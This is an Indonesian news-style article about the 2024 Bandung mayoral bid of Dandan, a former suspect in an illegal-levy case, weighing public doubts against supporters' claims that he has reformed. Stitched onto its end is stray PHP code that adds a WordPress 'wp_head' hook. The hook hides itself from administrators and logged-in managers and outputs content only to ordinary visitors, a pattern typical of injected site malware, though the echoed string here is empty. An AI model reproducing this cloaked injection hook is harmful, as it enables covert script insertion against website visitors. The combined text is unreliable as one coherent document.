    Tahun 2024 membawa babak baru dalam karier politik Dandan ketika ia mencalonkan diri sebagai Wali Kota Bandung. Namun, langkah ini tidak lepas dari sorotan kritis. Meskipun kampanyenya menggaungkan pesan-pesan reformasi, transparansi, dan anti-korupsi, latar belakangnya menjadi tantangan tersendiri. Bagaimana seorang calon pemimpin yang pernah menjadi tersangka dalam kasus pungli bisa meyakinkan publik bahwa dirinya layak mengemban amanat besar sebagai wali kota?
    Ahli politik dan pengamat sosial menilai bahwa rekam jejak seorang kandidat memiliki pengaruh signifikan terhadap kepercayaan publik. Slogan anti-korupsi yang diusung Dandan harus didukung oleh bukti nyata dan komitmen yang dapat diandalkan. “Penting bagi masyarakat untuk mempertimbangkan tidak hanya visi dan misi kandidat, tetapi juga riwayatnya. Reputasi bersih dalam jabatan sebelumnya menjadi indikator kuat bagaimana seorang pemimpin akan bertindak di masa depan,” ujar seorang pengamat politik dari Universitas Padjadjaran.
    Di sisi lain, pendukung Dandan menegaskan bahwa semua orang memiliki kesempatan untuk berubah dan membuktikan dirinya di depan publik. Mereka percaya, Dandan mampu menunjukkan bahwa dirinya telah belajar dari masa lalu dan siap untuk memimpin Bandung menuju perubahan yang lebih baik. “Kami percaya pada kemampuan dan tekad Pak Dandan. Dia berkomitmen untuk membawa transparansi dan akuntabilitas dalam pemerintahannya,” ungkap salah satu anggota tim suksesnya.
    Namun, bagi sebagian besar masyarakat, pertanyaan besar masih menggantung: apakah seorang calon wali kota dengan catatan sebagai tersangka kasus pungli layak diandalkan untuk membawa perubahan dan menciptakan pemerintahan yang bersih? Waktu akan membuktikan bagaimana Dandan merespons tantangan ini, serta apakah dia mampu mengatasi keraguan publik dan memenangi hati para pemilih di Bandung.***
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);